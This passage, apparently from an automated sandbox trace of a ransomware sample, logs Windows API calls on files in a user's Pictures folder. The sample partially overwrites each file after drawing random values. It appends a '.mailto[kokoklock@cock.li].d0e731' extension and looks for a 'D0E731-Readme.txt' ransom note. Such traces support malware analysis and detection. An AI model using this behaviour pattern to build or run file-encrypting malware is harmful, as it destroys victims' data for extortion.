lpNumberOfBytesWritten=0x1126f7d8, lpOverlapped=0x0 | out: lpBuffer=0x304aba8*, lpNumberOfBytesWritten=0x1126f7d8*=0x4096, lpOverlapped=0x0) returned 1 [0169.798] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x304aba8) returned 1 [0169.798] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x16077, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.798] WriteFile (in: hFile=0x370, lpBuffer=0x2f88368*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1126f810, lpOverlapped=0x0 | out: lpBuffer=0x2f88368*, lpNumberOfBytesWritten=0x1126f810*=0x20, lpOverlapped=0x0) returned 1 [0169.799] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88368) returned 1 [0169.799] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3046b08) returned 1 [0169.799] WriteFile (in: hFile=0x370, lpBuffer=0x2f88278*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1126f824, lpOverlapped=0x0 | out: lpBuffer=0x2f88278*, lpNumberOfBytesWritten=0x1126f824*=0x8, lpOverlapped=0x0) returned 1 [0169.799] WriteFile (in: hFile=0x370, lpBuffer=0x1126f83c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1126f824, lpOverlapped=0x0 | out: lpBuffer=0x1126f83c*, lpNumberOfBytesWritten=0x1126f824*=0x4, lpOverlapped=0x0) returned 1 [0169.799] WriteFile (in: hFile=0x370, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1126f824, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x1126f824*=0x4, lpOverlapped=0x0) returned 1 [0169.799] WriteFile (in: hFile=0x370, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1126f824, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x1126f824*=0x6c, lpOverlapped=0x0) returned 1 [0169.799] WriteFile (in: hFile=0x370, lpBuffer=0x2f88520*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1126f824, lpOverlapped=0x0 | out: lpBuffer=0x2f88520*, lpNumberOfBytesWritten=0x1126f824*=0x20, lpOverlapped=0x0) returned 1 [0169.799] WriteFile (in: hFile=0x370, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1126f824, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x1126f824*=0x4, lpOverlapped=0x0) returned 1 [0169.800] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88520) returned 1 [0169.800] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88250) returned 1 [0169.800] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88278) returned 1 [0169.800] CloseHandle (hObject=0x370) returned 1 [0169.800] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xd2) returned 0x2f97ad8 [0169.800] wcscpy (in: _Dest=0x2f97ad8, _Source="C:\\Users\\FD1HVy\\Pictures\\ft3t49Enj.jpg.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\ft3t49Enj.jpg.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\ft3t49Enj.jpg.mailto[kokoklock@cock.li].d0e731" [0169.800] wcscat (in: _Dest=0x2f97ad8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\ft3t49Enj.jpg.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\ft3t49Enj.jpg.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0169.800] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\ft3t49Enj.jpg.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\ft3t49enj.jpg.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\ft3t49Enj.jpg.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\ft3t49enj.jpg.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0169.801] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\ft3t49Enj.jpg.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0169.801] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97ad8) returned 1 [0169.801] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\ft3t49Enj.jpg.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0169.801] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x58) returned 0x2fa4300 [0169.801] wcscpy (in: _Dest=0x2fa4300, _Source="C:\\Users\\FD1HVy\\Pictures\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0169.801] wcscat (in: _Dest=0x2fa4300, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" [0169.801] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\pictures\\d0e731-readme.txt")) returned 0x20 [0169.801] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4300) returned 1 [0169.801] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4ab0) returned 1 [0169.801] RtlExitUserThread (Status=0x1) Thread: id = 1865 os_tid = 0x618 [0169.802] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\GaWE9dNSiJD4.gif.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\gawe9dnsijd4.gif.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0169.803] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\GaWE9dNSiJD4.gif.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0169.803] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\GaWE9dNSiJD4.gif.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\gawe9dnsijd4.gif.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0169.803] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x112ef898 | out: lpFileSize=0x112ef898*=86467) returned 1 [0169.803] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x151bf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.803] ReadFile (in: hFile=0x370, lpBuffer=0x112ef86c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x112ef868, lpOverlapped=0x0 | out: lpBuffer=0x112ef86c*, lpNumberOfBytesRead=0x112ef868*=0x4, lpOverlapped=0x0) returned 1 [0169.804] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.804] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f884a8 [0169.804] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88520 [0169.804] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88250 [0169.804] NtQuerySystemTime (in: CurrentTime=0x112ef844 | out: CurrentTime=0x112ef844*=132121213271157958) returned 0x0 [0169.804] RtlRandom (in: Seed=0x112ef850 | out: Seed=0x112ef850) returned 0x1e26379 [0169.804] RtlRandom (in: Seed=0x112ef850 | out: Seed=0x112ef850) returned 0x8a9b20e4 [0169.804] RtlRandom (in: Seed=0x112ef850 | out: Seed=0x112ef850) returned 0x73a4c487 [0169.804] RtlRandom (in: Seed=0x112ef850 | out: Seed=0x112ef850) returned 0xfd476e83 [0169.804] RtlRandom (in: Seed=0x112ef850 | out: Seed=0x112ef850) returned 0xf8269863 [0169.804] RtlRandom (in: Seed=0x112ef850 | out: Seed=0x112ef850) returned 0x1523f372 [0169.804] RtlRandom (in: Seed=0x112ef850 | out: Seed=0x112ef850) returned 0xcb66d320 [0169.804] RtlRandom (in: Seed=0x112ef850 | out: Seed=0x112ef850) returned 0xac5b8e72 [0169.804] RtlRandom (in: Seed=0x112ef850 | out: Seed=0x112ef850) returned 0xc9a3b35c [0169.804] RtlRandom (in: Seed=0x112ef850 | out: Seed=0x112ef850) returned 0xf6428cd5 [0169.804] RtlRandom (in: Seed=0x112ef850 | out: Seed=0x112ef850) returned 0xc24e802d [0169.804] RtlRandom (in: Seed=0x112ef850 | out: Seed=0x112ef850) returned 0x135dbad9 [0169.804] RtlRandom (in: Seed=0x112ef850 | out: Seed=0x112ef850) returned 0xae4a0ddb [0169.804] RtlRandom (in: Seed=0x112ef850 | out: Seed=0x112ef850) returned 0x38a02020 [0169.804] RtlRandom (in: Seed=0x112ef850 | out: Seed=0x112ef850) returned 0x33b14112 [0169.804] RtlRandom (in: Seed=0x112ef850 | out: Seed=0x112ef850) returned 0xf4ec6435 [0169.805] RtlRandom (in: Seed=0x112ef850 | out: Seed=0x112ef850) returned 0xd13e51d3 [0169.805] RtlRandom (in: Seed=0x112ef850 | out: Seed=0x112ef850) returned 0x3ba7f44f [0169.805] RtlRandom (in: Seed=0x112ef850 | out: Seed=0x112ef850) returned 0x13e45e54 [0169.805] RtlRandom (in: Seed=0x112ef850 | out: Seed=0x112ef850) returned 0x84b81494 [0169.805] RtlRandom (in: Seed=0x112ef850 | out: Seed=0x112ef850) returned 0x8cb0891c [0169.805] RtlRandom (in: Seed=0x112ef850 | out: Seed=0x112ef850) returned 0xd3a11e81 [0169.805] RtlRandom (in: Seed=0x112ef850 | out: Seed=0x112ef850) returned 0x5ff17117 [0169.805] RtlRandom (in: Seed=0x112ef850 | out: Seed=0x112ef850) returned 0xa689f3f0 [0169.805] RtlRandom (in: Seed=0x112ef850 | out: Seed=0x112ef850) returned 0x516f6cf0 [0169.805] RtlRandom (in: Seed=0x112ef850 | out: Seed=0x112ef850) returned 0xe886d015 [0169.805] RtlRandom (in: Seed=0x112ef850 | out: Seed=0x112ef850) returned 0xa8d981b [0169.805] RtlRandom (in: Seed=0x112ef850 | out: Seed=0x112ef850) returned 0x33d33be4 [0169.805] RtlRandom (in: Seed=0x112ef850 | out: Seed=0x112ef850) returned 0xd7ff8347 [0169.805] RtlRandom (in: Seed=0x112ef850 | out: Seed=0x112ef850) returned 0x6a529af6 [0169.805] RtlRandom (in: Seed=0x112ef850 | out: Seed=0x112ef850) returned 0xebb18014 [0169.805] RtlRandom (in: Seed=0x112ef850 | out: Seed=0x112ef850) returned 0x1d58f73e [0169.814] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88278 [0169.817] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96dc8 [0169.818] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88368 [0169.818] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96dc8) returned 1 [0169.818] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f884a8) returned 1 [0169.818] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3046b08 [0169.818] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.818] ReadFile (in: hFile=0x370, lpBuffer=0x3046b08, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x112ef81c, lpOverlapped=0x0 | out: lpBuffer=0x3046b08*, lpNumberOfBytesRead=0x112ef81c*=0x4096, lpOverlapped=0x0) returned 1 [0169.818] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.818] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f877d0 [0169.818] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96c60 [0169.818] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88390 [0169.818] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88390) returned 1 [0169.819] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x304aba8 [0169.819] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88390 [0169.819] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f883b8 [0169.819] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f883b8) returned 1 [0169.819] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96c60) returned 1 [0169.819] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f877d0) returned 1 [0169.819] WriteFile (in: hFile=0x370, lpBuffer=0x304aba8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x112ef81c, lpOverlapped=0x0 | out: lpBuffer=0x304aba8*, lpNumberOfBytesWritten=0x112ef81c*=0x4096, lpOverlapped=0x0) returned 1 [0169.819] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x304aba8) returned 1 [0169.819] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x151c3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.819] WriteFile (in: hFile=0x370, lpBuffer=0x2f88390*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x112ef854, lpOverlapped=0x0 | out: lpBuffer=0x2f88390*, lpNumberOfBytesWritten=0x112ef854*=0x20, lpOverlapped=0x0) returned 1 [0169.820] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88390) returned 1 [0169.820] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3046b08) returned 1 [0169.820] WriteFile (in: hFile=0x370, lpBuffer=0x2f88368*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x112ef868, lpOverlapped=0x0 | out: lpBuffer=0x2f88368*, lpNumberOfBytesWritten=0x112ef868*=0x8, lpOverlapped=0x0) returned 1 [0169.820] WriteFile (in: hFile=0x370, lpBuffer=0x112ef880*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x112ef868, lpOverlapped=0x0 | out: lpBuffer=0x112ef880*, lpNumberOfBytesWritten=0x112ef868*=0x4, lpOverlapped=0x0) returned 1 [0169.820] WriteFile (in: hFile=0x370, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x112ef868, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x112ef868*=0x4, lpOverlapped=0x0) returned 1 [0169.821] WriteFile (in: hFile=0x370, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x112ef868, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x112ef868*=0x6c, lpOverlapped=0x0) returned 1 [0169.821] WriteFile (in: hFile=0x370, lpBuffer=0x2f88520*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x112ef868, lpOverlapped=0x0 | out: lpBuffer=0x2f88520*, lpNumberOfBytesWritten=0x112ef868*=0x20, lpOverlapped=0x0) returned 1 [0169.821] WriteFile (in: hFile=0x370, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x112ef868, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x112ef868*=0x4, lpOverlapped=0x0) returned 1 [0169.821] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88520) returned 1 [0169.821] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88278) returned 1 [0169.821] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88368) returned 1 [0169.821] CloseHandle (hObject=0x370) returned 1 [0169.821] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xd8) returned 0x2f97ad8 [0169.821] wcscpy (in: _Dest=0x2f97ad8, _Source="C:\\Users\\FD1HVy\\Pictures\\GaWE9dNSiJD4.gif.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\GaWE9dNSiJD4.gif.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\GaWE9dNSiJD4.gif.mailto[kokoklock@cock.li].d0e731" [0169.821] wcscat (in: _Dest=0x2f97ad8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\GaWE9dNSiJD4.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\GaWE9dNSiJD4.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0169.821] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\GaWE9dNSiJD4.gif.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\gawe9dnsijd4.gif.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\GaWE9dNSiJD4.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\gawe9dnsijd4.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0169.822] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\GaWE9dNSiJD4.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0169.822] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97ad8) returned 1 [0169.822] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\GaWE9dNSiJD4.gif.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0169.822] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x58) returned 0x2fa4300 [0169.823] wcscpy (in: _Dest=0x2fa4300, _Source="C:\\Users\\FD1HVy\\Pictures\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0169.823] wcscat (in: _Dest=0x2fa4300, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" [0169.823] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\pictures\\d0e731-readme.txt")) returned 0x20 [0169.823] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4300) returned 1 [0169.823] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe35e0) returned 1 [0169.823] RtlExitUserThread (Status=0x1) Thread: id = 1866 os_tid = 0x9b4 [0169.824] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\IH7LMh9XWm.gif.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\ih7lmh9xwm.gif.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0169.824] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\IH7LMh9XWm.gif.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0169.824] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\IH7LMh9XWm.gif.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\ih7lmh9xwm.gif.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0169.825] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x1136f7d0 | out: lpFileSize=0x1136f7d0*=68519) returned 1 [0169.825] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x10ba3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.825] ReadFile (in: hFile=0x370, lpBuffer=0x1136f7a4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1136f7a0, lpOverlapped=0x0 | out: lpBuffer=0x1136f7a4*, lpNumberOfBytesRead=0x1136f7a0*=0x4, lpOverlapped=0x0) returned 1 [0169.826] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.826] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f884a8 [0169.826] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88520 [0169.826] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88278 [0169.826] NtQuerySystemTime (in: CurrentTime=0x1136f77c | out: CurrentTime=0x1136f77c*=132121213271470462) returned 0x0 [0169.826] RtlRandom (in: Seed=0x1136f788 | out: Seed=0x1136f788) returned 0x8421b80f [0169.826] RtlRandom (in: Seed=0x1136f788 | out: Seed=0x1136f788) returned 0xbd4fbf1b [0169.826] RtlRandom (in: Seed=0x1136f788 | out: Seed=0x1136f788) returned 0x1e1696b0 [0169.826] RtlRandom (in: Seed=0x1136f788 | out: Seed=0x1136f788) returned 0xc4e8d7fb [0169.826] RtlRandom (in: Seed=0x1136f788 | out: Seed=0x1136f788) returned 0x86e6f03e [0169.826] RtlRandom (in: Seed=0x1136f788 | out: Seed=0x1136f788) returned 0xd6ee8d24 [0169.826] RtlRandom (in: Seed=0x1136f788 | out: Seed=0x1136f788) returned 0xad6910b9 [0169.826] RtlRandom (in: Seed=0x1136f788 | out: Seed=0x1136f788) returned 0xedc6b60f [0169.826] RtlRandom (in: Seed=0x1136f788 | out: Seed=0x1136f788) returned 0x2037f0cb [0169.826] RtlRandom (in: Seed=0x1136f788 | out: Seed=0x1136f788) returned 0xea889911 [0169.826] RtlRandom (in: Seed=0x1136f788 | out: Seed=0x1136f788) returned 0xbd59a3a0 [0169.826] RtlRandom (in: Seed=0x1136f788 | out: Seed=0x1136f788) returned 0x4a644fd0 [0169.826] RtlRandom (in: Seed=0x1136f788 | out: Seed=0x1136f788) returned 0xd9c477f2 [0169.826] RtlRandom (in: Seed=0x1136f788 | out: Seed=0x1136f788) returned 0xe408e8db [0169.826] RtlRandom (in: Seed=0x1136f788 | out: Seed=0x1136f788) returned 0x3b85d49a [0169.826] RtlRandom (in: Seed=0x1136f788 | out: Seed=0x1136f788) returned 0xb23ba2f1 [0169.826] RtlRandom (in: Seed=0x1136f788 | out: Seed=0x1136f788) returned 0x7753c534 [0169.827] RtlRandom (in: Seed=0x1136f788 | out: Seed=0x1136f788) returned 0x825ee259 [0169.827] RtlRandom (in: Seed=0x1136f788 | out: Seed=0x1136f788) returned 0x16e36417 [0169.827] RtlRandom (in: Seed=0x1136f788 | out: Seed=0x1136f788) returned 0x9ac1692b [0169.827] RtlRandom (in: Seed=0x1136f788 | out: Seed=0x1136f788) returned 0x97592ffb [0169.827] RtlRandom (in: Seed=0x1136f788 | out: Seed=0x1136f788) returned 0xbb8553c9 [0169.827] RtlRandom (in: Seed=0x1136f788 | out: Seed=0x1136f788) returned 0x1ffd7324 [0169.827] RtlRandom (in: Seed=0x1136f788 | out: Seed=0x1136f788) returned 0xba39a685 [0169.827] RtlRandom (in: Seed=0x1136f788 | out: Seed=0x1136f788) returned 0xf8db0878 [0169.827] RtlRandom (in: Seed=0x1136f788 | out: Seed=0x1136f788) returned 0x8a9791b9 [0169.827] RtlRandom (in: Seed=0x1136f788 | out: Seed=0x1136f788) returned 0x6d93eaee [0169.827] RtlRandom (in: Seed=0x1136f788 | out: Seed=0x1136f788) returned 0x681043d3 [0169.827] RtlRandom (in: Seed=0x1136f788 | out: Seed=0x1136f788) returned 0x7bcd91f8 [0169.827] RtlRandom (in: Seed=0x1136f788 | out: Seed=0x1136f788) returned 0x4fdadef4 [0169.827] RtlRandom (in: Seed=0x1136f788 | out: Seed=0x1136f788) returned 0x1bea39f4 [0169.827] RtlRandom (in: Seed=0x1136f788 | out: Seed=0x1136f788) returned 0x513e5cb4 [0169.836] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88368 [0169.838] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96dc8 [0169.838] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88390 [0169.838] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96dc8) returned 1 [0169.838] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f884a8) returned 1 [0169.838] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3046b08 [0169.838] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.838] ReadFile (in: hFile=0x370, lpBuffer=0x3046b08, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1136f754, lpOverlapped=0x0 | out: lpBuffer=0x3046b08*, lpNumberOfBytesRead=0x1136f754*=0x4096, lpOverlapped=0x0) returned 1 [0169.839] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.839] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f877d0 [0169.839] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96c60 [0169.839] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f883b8 [0169.839] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f883b8) returned 1 [0169.839] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x304aba8 [0169.839] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f883b8 [0169.839] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f884a8 [0169.839] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f884a8) returned 1 [0169.839] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96c60) returned 1 [0169.839] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f877d0) returned 1 [0169.839] WriteFile (in: hFile=0x370, lpBuffer=0x304aba8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1136f754, lpOverlapped=0x0 | out: lpBuffer=0x304aba8*, lpNumberOfBytesWritten=0x1136f754*=0x4096, lpOverlapped=0x0) returned 1 [0169.840] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x304aba8) returned 1 [0169.840] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x10ba7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.840] WriteFile (in: hFile=0x370, lpBuffer=0x2f883b8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1136f78c, lpOverlapped=0x0 | out: lpBuffer=0x2f883b8*, lpNumberOfBytesWritten=0x1136f78c*=0x20, lpOverlapped=0x0) returned 1 [0169.841] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f883b8) returned 1 